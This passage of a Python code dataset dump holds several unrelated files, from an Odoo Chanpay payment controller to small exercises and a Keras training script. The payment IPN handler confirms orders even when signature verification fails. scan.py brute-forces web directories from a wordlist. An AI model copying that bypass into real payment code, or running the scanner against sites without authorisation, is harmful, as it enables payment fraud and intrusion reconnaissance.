return_url:\n custom = json.loads(post.pop('custom', False) or '{}')\n return_url = custom.get('return_url', '/')\n return return_url\n\n \"\"\"\n * 获取返回时的签名验证结果\n * @param post 通知返回来的参数数组\n * @返回 签名验证结果\n \"\"\"\n\n def getSignVeryfy(self, **post):\n key_sorted = sorted(post.keys())\n content = ''\n sign_type = post['sign_type']\n sign = post['sign']\n\n for key in key_sorted:\n if key not in [\"sign\", \"sign_type\"]:\n if post[key]:\n content = content + key + \"=\" + post[key] + \"&\"\n content = content[:-1]\n content = content.encode(\"utf-8\")\n isSign = False\n if sign_type.upper() == \"RSA\":\n public_key = request.env['payment.acquirer'].sudo().search([('name', '=', 'Chanpay')]).public_key\n isSign = func.rsaVerify(content, public_key, sign)\n return isSign\n\n \"\"\"\n * 针对notify_url验证消息是否是支付宝发出的合法消息\n * @返回 验证结果\n \"\"\"\n\n def verify_data(self, **post):\n if not post:\n return False\n else:\n isSign = self.getSignVeryfy(**post)\n if isSign:\n return True\n else:\n return False\n\n @http.route('/payment/chanpay/ipn', type='http', auth=\"none\", methods=['POST'], csrf=False)\n def alipay_ipn(self, **post):\n \"\"\" Alipay IPN. \"\"\"\n\n data = pprint.pformat(post)\n _logger.info('Beginning Alipay IPN form_feedback with post data %s', pprint.pformat(data)) # debug\n\n if self.verify_data(**post):\n txs = request.env['payment.transaction'].sudo().search([('reference', '=', post.get('outer_trade_no'))])\n res = {\n # 'chanpay_txn_type': data.get('inner_trade_no'),\n 'acquirer_reference': post.get('outer_trade_no'),\n 'partner_reference': post.get('buyer_id')\n }\n res.update(state='done', date_validate=data.get('gmt_payment', fields.datetime.now()))\n txs.write(res)\n\n order = request.env['sale.order'].sudo().search([('id', '=', txs.sale_order_id.id)])\n order.action_confirm()\n return 'success'\n else:\n txs = request.env['payment.transaction'].sudo().search([('reference', '=', post.get('outer_trade_no'))])\n if txs:\n res = {\n 'state_message': post.get('inner_trade_no'),\n 'acquirer_reference': post.get('outer_trade_no'),\n }\n res.update(state='done', date_validate=fields.datetime.now())\n txs.write(res)\n order = request.env['sale.order'].sudo().search([('id', '=', txs.sale_order_id.id)])\n order.action_confirm()\n return 'success'\n\n @http.route('/payment/chanpay/refuse/', type='http', auth=\"none\", methods=['POST'], csrf=False)\n def chanpay_refuse(self, **post):\n _logger.info('退款成功返回信息 ========= %s', pprint.pformat(post)) # debug\n if post:\n data = pprint.pformat(post)\n txs = request.env['payment.transaction'].sudo().search([('reference', '=', post.get('outer_trade_no'))])\n res = {\n 'inner_trade_no': post.get('inner_trade_no'),\n 'refund_status': '2',\n 'gmt_refund': post.get('buyer_id'),\n 'extension': post.get('extension'),\n }\n txs.write(res)\n return 'success'\n else:\n return 'fail'\n","sub_path":"website_payment_chanpay/models/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":4400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"325937601","text":"i = 1\r\nwhile i == 1:\r\n alp = (\"abcdefghijklmnopqrstuvwsyzabcdefghijklmnopqrstuvwsyzABCDEFGHIJKLMNOPQRSTUVWSYZ\")\r\n alp2 = (\"абвгґдеєжзиіїйклмнопрстуфхцчшщьюяабвгґдеєжзиіїйклмнопрстуфхцчшщьюяАБВГҐДЕЄЖЗИІЇЙКЛМНОПРСТУФХЦЧШЩЮЯАБВГҐДЕЄЖЗИІЇЙКЛМНОПРСТУФХЦЧШЩЮЯ\")\r\n num=(\"1234567890\")\r\n enc = input(\"Enter a massage: \")\r\n enc = enc + \" \"\r\n key = 1\r\n #enc = enc.lower()\r\n enct2 = \"\"\r\n a=\"\"\r\n for letter in enc:\r\n position = alp.find(letter)\r\n pos = num.find(letter)\r\n pos2 = alp2.find(letter)\r\n newPosititon3 = pos2 + key\r\n newPosititon2 = pos + key\r\n newPosititon = position + key\r\n if letter in alp:\r\n if a != \"\":\r\n a=int(a)\r\n a=a+key\r\n a=str(a)\r\n enct2=enct2+a\r\n a=\"\"\r\n \r\n enct2 = enct2 + alp[newPosititon]\r\n elif letter in alp2:\r\n if a != \"\":\r\n a=int(a)\r\n a=a+key\r\n a=str(a)\r\n enct2=enct2+a\r\n a=\"\"\r\n \r\n enct2 = enct2 + alp2[newPosititon3]\r\n elif letter in num:\r\n a=a+letter\r\n else:\r\n if a != \"\":\r\n a=int(a)\r\n a=a+key\r\n a=str(a)\r\n enct2=enct2+a\r\n a=\"\"\r\n enct2 = enct2 + letter\r\n\r\n print(\"your sipher is:\",enct2)\r\n j = input(\"\"\"Якщо ви хочете вийти то нажміть - \"E\",\\nякщо продовжити - \"C\": \"\"\")\r\n if j == \"E\":\r\n break\r\n elif j == \"C\":\r\n continue\r\n else:\r\n print(\"Невірно\")\r\n\r\n","sub_path":"cezar.py","file_name":"cezar.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"85301738","text":"from tkinter import *\nimport vlc\nimport pyttsx3\nimport os\nfrom multiprocessing import Process, Value\nfrom playsound import playsound\n\n# declaring global variables\n####################################################################################################################################\n# holds the list of files in current directory\ndirFiles = []\n\n# holds the current index in the directory\ndirFilesIndex = -1\n\n# initializing player variable for vlc\nplayer = None\n\n# initializing TKinter object to construct emulator\nwindow = Tk()\n\n# holds the current mode selected\nmodes = [\"audiobooks\", \"study\", \"music\"]\n\n# holds the current context\n# modeContext - just changed the mode\n# inMode - inside a mode \n# playingMedia - media playback in progress\ncontext = \"modeContext\"\n\n# holds the current mode index\nmodeIndex = -1\n\n# holds the root address of the directory structure\nrootAddress = \"\"\n\n# holds the global instance of the vlc player\nplayer = None\n\n# declaring callback functions to perform actions from processes\n####################### ##############################################################################################################\n# reads out the different modes on MODE button click\ndef sayMode(modeIndex):\n if modeIndex == 1:\n os.system(\"mpg123 \" + \"/home/rrj/Projects/NVEdu/audioSamples/operationMode/study.mp3\")\n elif modeIndex == 2:\n os.system(\"mpg123 \" + \"/home/rrj/Projects/NVEdu/audioSamples/operationMode/music.mp3\")\n elif modeIndex == 0:\n os.system(\"mpg123 \" + \"/home/rrj/Projects/NVEdu/audioSamples/operationMode/audioBooks.mp3\")\n\n# reads out the current mode\ndef sayCurrentMode(modeIndex):\n if modeIndex == 1:\n os.system(\"mpg123 \" + \"/home/rrj/Projects/NVEdu/audioSamples/operationMode/youAreInStudy.mp3\")\n elif modeIndex == 2:\n os.system(\"mpg123 \" + \"/home/rrj/Projects/NVEdu/audioSamples/operationMode/youAreInMusic.mp3\")\n elif modeIndex == 0:\n os.system(\"mpg123 \" + \"/home/rrj/Projects/NVEdu/audioSamples/operationMode/youAreInAudioBooks.mp3\")\n\n# say words using test to speech\ndef sayWords(fileName):\n # engine = pyttsx3.init() # object creation\n # voices = engine.getProperty('voices')\n # engine.setProperty('rate', 120)\n # engine.setProperty('voice', voices[11].id) # changes the voice\n # engine.say(dialog)\n # engine.runAndWait()\n os.system(\"mpg123 \" + \"/home/rrj/Projects/NVEdu/root/filenames/\"+fileName+\".mp3\")\n\n# start media playback\ndef startMediaPlayback(player, filePath):\n os.system(\"mplayer \" + filePath)\n # creating player instance\n # player = vlc.MediaPlayer(filePath)\n # player.play()\n\n# declaring process instances for each action\n#####################################################################################################################################\nsayModeProc = Process(target=sayMode)\nsayCurrentModeProc = Process(target=sayCurrentMode)\nsayWordsProc = Process(target=sayWords)\nplayMediaProc = Process(target=startMediaPlayback)\n\n# declaring middleware functions for execution of code that requires common memory\n#####################################################################################################################################\ndef modeBtnPressed():\n global modeIndex, modes\n if modeIndex == 0:\n modeIndex = 1\n elif modeIndex == 1:\n modeIndex = 2\n elif modeIndex == 2:\n modeIndex = 0\n elif modeIndex == -1:\n modeIndex = 0\n\n# callbackHUB to distribute the calls appropriately\n#####################################################################################################################################\ndef callBackHub(buttonCode):\n global sayModeProc, sayCurrentModeProc, sayWordsProc, playMediaProc,context, modeIndex, modes, rootAddress, dirFiles, dirFilesIndex, player\n # terminating all running processes\n if sayModeProc.is_alive():\n sayModeProc.terminate()\n elif sayCurrentModeProc.is_alive():\n sayCurrentModeProc.terminate()\n elif sayWordsProc.is_alive():\n sayWordsProc.terminate()\n\n if buttonCode == \"modeBtn\":\n # deciding action based on context\n if context == \"inMode\" or context == \"modeContext\":\n # setting the current execution context\n context = \"modeContext\"\n # changing directory to root\n os.chdir(rootAddress)\n # calling method to modify the modeIndex\n modeBtnPressed()\n # changing current dire\n sayModeProc = Process(target=sayMode,args=(modeIndex,))\n sayModeProc.start()\n elif buttonCode == \"okBtn\":\n # deciding action based on context\n if context == \"modeContext\" and modeIndex != -1:\n # changing context to show that we are now inside a mode\n context = \"inMode\"\n # changing current directory\n os.chdir(rootAddress+\"/\"+modes[modeIndex])\n # creating process instance\n sayCurrentModeProc = Process(target=sayCurrentMode, args=(modeIndex,))\n sayCurrentModeProc.start()\n elif context == \"inMode\":\n # updating directory listing\n dirFiles = os.listdir()\n # checking if the directory has any files and that the current index is not -1\n if len(dirFiles) > 0 and dirFilesIndex != -1:\n # cheking if the current file is an mp3\n if dirFiles[dirFilesIndex].endswith(\".mp3\"):\n # setting context \n context = \"playingMedia\"\n # playMediaProc = Process(target=startMediaPlayback, args=(player,str(os.getcwd())+\"/\"+dirFiles[dirFilesIndex],))\n # playMediaProc.start()\n # creating player instance\n player = vlc.MediaPlayer(str(os.getcwd())+\"/\"+dirFiles[dirFilesIndex])\n player.audio_set_volume(70)\n player.play()\n else:\n # creating say words instance to ask user to choose a file\n sayWordsProc = Process(target=sayWords,args=(\"Select file\",))\n sayWordsProc.start()\n elif context == \"playingMedia\":\n # checking if media is playing \n if player.is_playing():\n # pausing media playback\n player.pause()\n else:\n # continuing playback\n player.play()\n elif buttonCode == \"forwardBtn\":\n # executing script only for the appropriate context\n if context == \"inMode\":\n # updating directory listing\n dirFiles = os.listdir()\n # checking if the directory contains any files\n if len(dirFiles) > 0:\n # updating the dirFilesIndex\n if dirFilesIndex < len(dirFiles)-1:\n dirFilesIndex += 1\n else:\n dirFilesIndex = 0\n # creating process to say the word\n sayWordsProc = Process(target=sayWords, args=(dirFiles[dirFilesIndex].split(\".\")[0],))\n sayWordsProc.start()\n else:\n # creating instance of say words process\n sayWordsProc = Process(target=sayWords, args=(\"Empty folder\",))\n sayWordsProc.start()\n if context == \"playingMedia\":\n # getting the current position\n currentPos = player.get_position()\n # adding 10 seconds to the current position\n currentPos += 0.10\n # setting new position for the audio\n player.set_position(currentPos)\n elif buttonCode == \"backwardBtn\":\n # executing script only for the appropriate context\n if context == \"inMode\":\n # updating directory listing\n dirFiles = os.listdir()\n # checking if the directory contains any files\n if len(dirFiles) > 0:\n # updating the dirFilesIndex\n if dirFilesIndex > 0:\n dirFilesIndex -= 1\n else:\n dirFilesIndex = len(dirFiles) - 1\n # creating process to say the word\n sayWordsProc = Process(target=sayWords, args=(dirFiles[dirFilesIndex].split(\".\")[0],))\n sayWordsProc.start()\n else:\n # creating instance of say words process\n sayWordsProc = Process(target=sayWords, args=(\"Empty folder\",))\n sayWordsProc.start()\n if context == \"playingMedia\":\n # getting the current position\n currentPos = player.get_position()\n # adding 10 seconds to the current position\n currentPos -= 0.10\n # setting new position for the audio\n player.set_position(currentPos)\n elif buttonCode == \"cancelBtn\":\n # executing script based on context\n if context == \"playingMedia\":\n # resetting context\n context = \"inMode\"\n # stopping playing media\n player.stop()\n\n# main function implementation\n#####################################################################################################################################\nif __name__ == \"__main__\":\n\n # setting the root address\n rootAddress = os.getcwd()\n\n # declaring buttons and their callbacks\n #######################################\n # mode button\n modeBtn = Button(window, text=\"Mode\", fg='Black', height=11,width=56, command=lambda: callBackHub(\"modeBtn\"))\n # reverse button\n reverseBtn = Button(window, text=\"Reverse\", fg='Black', height=8, width=26, command=lambda: callBackHub(\"backwardBtn\"))\n # forward Button\n forwardBtn = Button(window, text=\"Forward\", fg='Black',height=8, width=26, command=lambda: callBackHub(\"forwardBtn\"))\n # cancel Button\n cancelBtn = Button(window, text=\"Cancel\", fg='Black',height=6, width=26, command=lambda: callBackHub(\"cancelBtn\"))\n # ok Button\n okBtn = Button(window, text=\"OK\", fg='Black',height=6, width=26, command=lambda: callBackHub(\"okBtn\"))\n\n # placing main buttons\n #######################################\n modeBtn.place(x=10, y=130)\n reverseBtn.place(x=10, y=335)\n forwardBtn.place(x=250, y=335)\n cancelBtn.place(x=10,y=10)\n okBtn.place(x=250,y=10)\n\n # intializing the simulator window\n #######################################\n window.title('NVEDU Demo')\n window.geometry(\"500x500\")\n window.mainloop()","sub_path":"index2.py","file_name":"index2.py","file_ext":"py","file_size_in_byte":10456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"353634885","text":"from test_framework import generic_test\nimport math\n\ndef square_root(x: float) -> float:\n left, right = (1.0, x) if x > 1.0 else (x, 1.0)\n\n while not math.isclose(left, right):\n mid = 0.5 * (left + right)\n mid_sq = mid ** 2\n if mid_sq > x:\n right = mid\n else: # mid_sq < x\n left = mid\n return left\n\n\nif __name__ == '__main__':\n exit(\n generic_test.generic_test_main('real_square_root.py',\n 'real_square_root.tsv', square_root))\n","sub_path":"epi_judge_python/real_square_root.py","file_name":"real_square_root.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"205366481","text":"# coding:utf-8\n# 本程序由紫火编写\n# program by purplefire\n\nfrom sys import version_info\nimport requests,socket\nimport result\n\nif version_info.major == 3:\n from printf.py3 import printf,printweb\nelse:\n from printf.py2 import printf,printweb\n\n\ndef web_deal(web):\n\n if web.startswith(\"http://\"):\n prweb = web\n without_web = web[7:]\n elif web.startswith(\"https://\"):\n prweb = web\n without_web = web[8:]\n else:\n prweb = \"http://\" + web\n without_web = web\n\n if web.endswith(\"/\"):\n prweb = web[:-1]\n without_web = web[:-1]\n else:\n #prweb = web\n pass\n return prweb,without_web\n\ndef get_info(web,timeout=0.4,proxy=None,ua=None):\n try:\n printf(\"Server:\\t\"+requests.get(web_deal(web)[0],timeout=timeout,proxies=proxy,headers=ua).headers[\"Server\"],\"normal\")\n except:\n printf(\"Can\\'t get server,Connect wrong\",\"error\")\n try:\n printf(\"IP:\\t\"+socket.gethostbyname(web_deal(web)[1]),\"normal\")\n except:\n printf(\"Can\\'t get ip,Connect wrong\",\"error\")\n\ndef dic_scan(web, dictionary_loc, export_filename=\"\", to=0.4, proxy=None,ua=None,ignore_text=\"\"):\n if 0 == len(export_filename):\n export_filename = web\n web = web_deal(web)[0]\n export_filename = result.initialize_webframe(web_deal(web)[1]) # use result to create web form\n\n dic_f = open(dictionary_loc) # open dictionary\n line = dic_f.readline()\n web_length = len(web)\n\n while line: # read one line by line\n line = line.strip('\\n') # remove the line feed\n\n if line.startswith(\"/\"):\n web = web + line\n else:\n web = web + \"/\" + line\n\n try:\n code = requests.get(web, timeout=to,proxies=proxy,headers=ua).status_code\n if \"\" != ignore_text and ignore_text not in requests.get(web).text:\n printweb(code,web)\n result.export_result(export_filename, web,web+\"---\"+str(code))\n elif \"\" == ignore_text:\n printweb(code,web)\n result.export_result(export_filename, web,web+\"---\"+str(code))\n else:\n pass\n except:\n printf(web+\"\\t\\t\\tConnect wrong!!!\",\"error\")\n\n web = web[0:web_length]\n line = dic_f.readline()\n if line == None:\n break\n","sub_path":"scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"326461061","text":"# coding:utf-8\nimport tensorflow as tf\n\na = tf.Variable([1, 2])\nb = tf.Variable([3, 3])\n\nsub = tf.subtract(a, b)\nadd = tf.add(a, sub)\nstate = tf.Variable(0, name='counter')\n\nnew_value = tf.add(state, 1)\nupdate = tf.assign(state, new_value) # 赋值op,不能用等号\n\ninit = tf.global_variables_initializer()\n\nwith tf.Session() as sess:\n sess.run(init)\n print(sess.run(sub))\n print(sess.run(add))\n for _ in range(10):\n print(sess.run(update))\n","sub_path":"tensorflow/2/变量使用.py","file_name":"变量使用.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"495446124","text":"\n\nfrom xai.brain.wordbase.nouns._plowshare import _PLOWSHARE\n\n#calss header\nclass _PLOWSHARES(_PLOWSHARE, ):\n\tdef __init__(self,): \n\t\t_PLOWSHARE.__init__(self)\n\t\tself.name = \"PLOWSHARES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"plowshare\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_plowshares.py","file_name":"_plowshares.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"260163731","text":"\"\"\"\r\nwords jumble with tips (hints)\r\nuser gets the anagram and tries to restore word\r\nif user can't guess -- give him a tips (hints)\r\n\"\"\"\r\n\r\nimport random\r\n\r\n# create a sequence of words\r\n# and create a variable == random word at WORDS\r\n# and create a jumble\r\nWORDS = (\"python\", \"anagram\", \"simple\", \"strong\", \"answer\", \"coaster\")\r\nword = random.choice(WORDS)\r\ncorrect = word\r\n\r\njumble = \"\"\r\n\r\nwhile word:\r\n position = random.randrange(len(word))\r\n jumble += word[position]\r\n word = word[:position] + word[(position + 1):]\r\n\r\n# start game\r\nprint(\"\"\"\r\n WILLKOMMEN!\r\n LET'S START THE GAME!\r\nu have to rearrange the letters in word, so would happen is the right word\r\n (press \"Enter\" (without ur version), if u want leave the game)\r\n \"\"\")\r\nprint(\"ur anagram = ' \", jumble, \" '\")\r\nguest = input(\"\\nplease input ur version: \")\r\n\r\n# tries to restore word\r\nwhile guest != correct and guest != \"\":\r\n print(\"sorry, u're wrong\")\r\n guest = input(\"\\nplease input ur version: \")\r\n\r\nif guest == correct:\r\n print(\"\"\"\r\n U'RE WINNER!\r\n thanks for playing; like, share, retweet\"\"\")\r\n\r\ninput(\"\\npress any key to exit\")\r\n","sub_path":"word_jumble.py","file_name":"word_jumble.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"576470909","text":"from typing import List\n\n\nclass Solution:\n def numIslands(self, grid: List[List[str]]) -> int:\n if not grid:\n return 0\n\n count = 0\n for i in range(len(grid)):\n for j in range(len(grid[0])):\n if grid[i][j] == '1':\n self.dfs(grid, i, j)\n count += 1\n return count\n\n def dfs(self, grid, i, j):\n if i<0 or j<0 or i>=len(grid) or j>=len(grid[0]) or grid[i][j] != '1':\n return\n grid[i][j] = '#'\n self.dfs(grid, i+1, j)\n self.dfs(grid, i-1, j)\n self.dfs(grid, i, j+1)\n self.dfs(grid, i, j-1)\n\ndef main():\n # Input:\n # 11110\n # 11010\n # 11000\n # 00000\n # Output: 1\n\n # Input:\n # 11000\n # 11000\n # 00100\n # 00011\n # Output: 3\n grid = [\n ['1', '1', '0', '0', '0'],\n ['1', '1', '0', '0', '0'],\n ['0', '0', '1', '0', '0'],\n ['0', '0', '0', '1', '1']\n ]\n grid = [\n [\"1\",\"1\",\"1\"],\n [\"0\",\"1\",\"0\"],\n [\"1\",\"1\",\"1\"]\n ]\n print(Solution().numIslands(grid))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"17_number_of_islands.py","file_name":"17_number_of_islands.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"355011876","text":"import os, sys\n#os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"0\"\n\nimport numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\nimport cv2\nfrom sklearn.utils import shuffle\nfrom ml_stratifiers import MultilabelStratifiedKFold\nimport albumentations as A\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n#from keras.applications.densenet import DenseNet121, preprocess_input\nfrom classification_models.resnet.models import ResNet34\nfrom classification_models.resnet import preprocess_input\nMODEL_PATH = 'Christof/models/ResNet34/3/'\nSIZE = 256\nfold_id = 0\n\n\n# Load dataset info\npath_to_train = 'Christof/assets/train_rgb_256/'\ndata = pd.read_csv('Christof/assets/train.csv')\n\nclusters = pd.read_csv('Russ/cluster4_folds.csv')\n\nfolds = dict(zip(clusters.Id,clusters.cluster4))\ndata['fold'] = data['Id'].apply(lambda x: folds[x])\n\ndef get_fold_ids(fold_id,data_set_info, shuff = True):\n fold_info = np.array([item['fold'] for item in data_set_info])\n val_ids = np.where(fold_info == fold_id)[0]\n train_ids = np.where(fold_info != fold_id)[0]\n if shuff:\n shuffle(val_ids)\n shuffle(train_ids)\n return train_ids, val_ids\n\n\nnormal_aug = A.Compose([A.OneOf([A.Rotate((-180,180)),\n A.Rotate((-180,180),border_mode=cv2.BORDER_CONSTANT)]),\n A.Flip(p=0.75)\n ])\n\n\n\ntrain_dataset_info = []\nfor name, labels in zip(data['Id'], data['Target'].str.split(' ')):\n train_dataset_info.append({\n 'path': os.path.join(path_to_train, name),\n 'labels': np.array([int(label) for label in labels]),\n 'fold':folds[name]})\ntrain_dataset_info = np.array(train_dataset_info)\n\ncounts = np.zeros(28)\nfor item in train_dataset_info:\n for l in item['labels']:\n counts[l] = counts[l] + 1\n\ncounts = counts / len(train_dataset_info)\nrare_classes = np.where(counts < 0.005)\n\n\nfrom classification_models.resnet import preprocess_input\nclass data_generator:\n\n @staticmethod\n def create_train(dataset_info, batch_size, shape, augument=True, oversample_factor = 0):\n assert shape[2] == 3\n\n if oversample_factor > 0:\n\n rare_dataset_info = np.array([item for item in dataset_info if np.isin(item['labels'], rare_classes).any()])\n for i in range(oversample_factor):\n dataset_info = np.append(dataset_info,rare_dataset_info)\n while True:\n dataset_info = shuffle(dataset_info)\n for start in range(0, len(dataset_info), batch_size):\n end = min(start + batch_size, len(dataset_info))\n batch_images = []\n X_train_batch = dataset_info[start:end]\n batch_labels = np.zeros((len(X_train_batch), 28))\n for i in range(len(X_train_batch)):\n image = data_generator.load_image(X_train_batch[i]['path'])\n #rare = np.isin(X_train_batch[i]['labels'], rare_classes).any()\n\n if augument:\n image = data_generator.augment(normal_aug,image)\n\n batch_images.append(image)\n batch_labels[i][X_train_batch[i]['labels']] = 1\n yield np.array(batch_images, np.float32), batch_labels\n\n @staticmethod\n def load_image(path):\n image = cv2.imread(path + '.png', cv2.IMREAD_UNCHANGED)\n image = preprocess_input(image)\n return image\n\n @staticmethod\n def augment(aug,image):\n image_aug = aug(image=image)['image']\n return image_aug\n\n\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Activation, Dropout, Flatten, Dense, GlobalMaxPooling2D, BatchNormalization, Input, Conv2D\nfrom keras.callbacks import ModelCheckpoint\nfrom keras import metrics\nfrom keras.optimizers import Adam\nfrom keras import backend as K\nimport keras\nfrom keras.models import Model\nfrom sklearn.metrics import f1_score\n\n\ndef create_model(input_shape, n_out):\n input_tensor = Input(shape=(SIZE, SIZE, 3))\n\n base_model = DenseNet121(include_top=False,\n weights='imagenet',\n input_shape=(SIZE, SIZE, 3),input_tensor=input_tensor)\n\n x = base_model.output\n x = Conv2D(32, kernel_size=(1, 1), activation='relu')(x)\n x = Flatten()(x)\n x = Dropout(0.5)(x)\n x = Dense(1024, activation='relu')(x)\n x = Dropout(0.5)(x)\n output = Dense(n_out, activation='sigmoid')(x)\n model = Model(input_tensor, output)\n\n return model\n\n\n\n\nbatch_size = 32\n\n\n\n\nmodel = create_model(\n input_shape=(SIZE, SIZE, 3),\n n_out=28)\n\n\n\nmodel.compile(\n loss='binary_crossentropy',\n optimizer=Adam(1e-03),\n metrics=['acc'])\n\nimport scipy.optimize as opt\n\ndef sigmoid_np(x):\n return 1.0/(1.0 + np.exp(-x))\n\ndef F1_soft(preds,targs,th=0.5,d=50.0):\n preds = sigmoid_np(d*(preds - th))\n targs = targs.astype(np.float)\n score = 2.0*(preds*targs).sum(axis=0)/((preds+targs).sum(axis=0) + 1e-6)\n return score\n\ndef fit_val(x,y):\n params = 0.5*np.ones(28)\n wd = 1e-5\n error = lambda p: np.concatenate((F1_soft(x,y,p) - 1.0,\n wd*(p - 0.5)), axis=None)\n p, success = opt.leastsq(error, params)\n return p\n\n\n\n\n\nfolds = [0,1]\n\nindividual_f1_scores = np.zeros((len(folds),28))\nthresholds = np.zeros((len(folds),28))\nf1_th_scores = np.zeros((len(folds)))\nf1_05_scores = np.zeros((len(folds)))\n# split data into train, valid\n\naugs = [[A.NoOp()],\n [A.HorizontalFlip(p=1.0)],\n [A.VerticalFlip(p=1.0)],\n #[A.RandomRotate90(p=1.0)],\n [A.HorizontalFlip(p=1.0),A.VerticalFlip(p=1.0)]]\n\nfor fold_id in folds:\n train_indexes, valid_indexes = get_fold_ids(fold_id, train_dataset_info)\n\n model.load_weights(MODEL_PATH + 'snaps/' + 'model_f{}.h5'.format(fold_id))\n\n y_true= np.zeros(shape=(len(valid_indexes),28))\n preds = np.zeros(shape=(len(valid_indexes),28))\n images = np.zeros((len(train_dataset_info[valid_indexes]),SIZE,SIZE,3))\n augmented_images = np.zeros((len(train_dataset_info[valid_indexes]),SIZE,SIZE,3))\n for i, info in tqdm(enumerate(train_dataset_info[valid_indexes])):\n images[i] = data_generator.load_image(info['path'])\n y_true[i][info['labels']]=1\n\n for aug in augs:\n for i,img in enumerate(images):\n augmented_image = img\n for transform in aug:\n augmented_image = transform.apply(augmented_image)\n augmented_images[i] = augmented_image\n preds += model.predict(augmented_images,batch_size=64,verbose=True)\n preds /= len(augs)\n\n print('optimizing th for fold {}'.format(fold_id))\n th = fit_val(preds,y_true)\n thresholds[fold_id] = th\n print('Thresholds: ',th)\n\n f1_05 = f1_score(y_true, preds>0.5, average='macro')\n f1_th = f1_score(y_true, preds>th, average='macro')\n\n print('F1 macro: ',f1_th)\n print('F1 macro (th = 0.5): ',f1_05)\n\n f1_th_scores[fold_id] = f1_th\n f1_05_scores[fold_id] = f1_05\n\n for j in range(28):\n individual_f1_scores[fold_id,j] = f1_score(y_true[:,j],preds[:,j]>0.5)\n\n\n\nindividual_f1_scores = pd.DataFrame(individual_f1_scores,columns=['f1'])\nindividual_f1_scores.to_csv(MODEL_PATH + f'summary_f1_score_f{fold_id}.csv',index=False)\n\n","sub_path":"wienerschnitzelgemeinschaft/src/Christof/models/ResNet34/3/base_100/predict_oof.py","file_name":"predict_oof.py","file_ext":"py","file_size_in_byte":7337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"391678206","text":"import random\n\nfrom pyramid.response import Response\nfrom pyramid.view import view_config\n\nfrom desafiogeru.python_rest import QuotesAPI\nfrom desafiogeru.DB import Accesses, session_add\n\nquotes = QuotesAPI.QuoteAPI()\n\n@view_config(route_name='home')\ndef home_view(request):\n session_add(request)\n return Response('Desafio Geru 1.0

Alguma coisa '\n 'Qualquer

')\n\n\n@view_config(route_name='quotes')\n@view_config(route_name='spec_quote')\ndef quotes_view(request):\n session_add(request)\n if 'quote_number' in request.matchdict:\n return Response(quotes.get_quote(request.matchdict['quote_number']))\n items = ''\n for q in quotes.get_quotes():\n items += f'
  • {q}
  • '\n return Response(f'
      {items}
    ')\n\n\n@view_config(route_name='random_quote')\ndef random_quote(request):\n session_add(request)\n num = random.randint(0, len(quotes.get_quotes()) - 1)\n return Response(f'Quote number {num}: {quotes.get_quote(num)}')\n","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"573340677","text":"import moviepage\r\nimport tvpage\r\nimport streamlit as st\r\n\r\n\r\npgs = {\r\n \"Movies\": moviepage,\r\n \"TV Shows\": tvpage\r\n}\r\n\r\n\r\nst.title(\"Netflix Movie/Tv Show Recommendation System\")\r\nst.sidebar.title('Choose from content')\r\nselection = st.sidebar.radio(\"Go to\", list(pgs.keys()))\r\npage = pgs[selection]\r\npage.final()\r\n\r\n\r\n","sub_path":"final_app.py","file_name":"final_app.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"176575634","text":"\nCACHES = {\n # We default to the database cache, at least until\n # there is a sensible caching alternative (or low MemoryStore latency)\n 'default': {\n 'BACKEND': 'django.core.cache.backends.db.DatabaseCache',\n }\n}\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n }\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n 'djangae': {\n 'level': 'WARN'\n }\n }\n}\n\n# Setting to * is OK, because GAE takes care of domain routing - setting it to anything\n# else just causes unnecessary pain when something isn't accessible under a custom domain\nALLOWED_HOSTS = (\"*\",)\n","sub_path":"djangae/settings_base.py","file_name":"settings_base.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"630828300","text":"\nfrom django.conf import settings\nfrom django.template import loader\n\nimport os,sys\n# sys.path.insert(0,'../../')\n\nfrom apps.goods.utils import get_categories,get_goods_and_spec\nfrom meiduo_mall.celery_tasks.main import 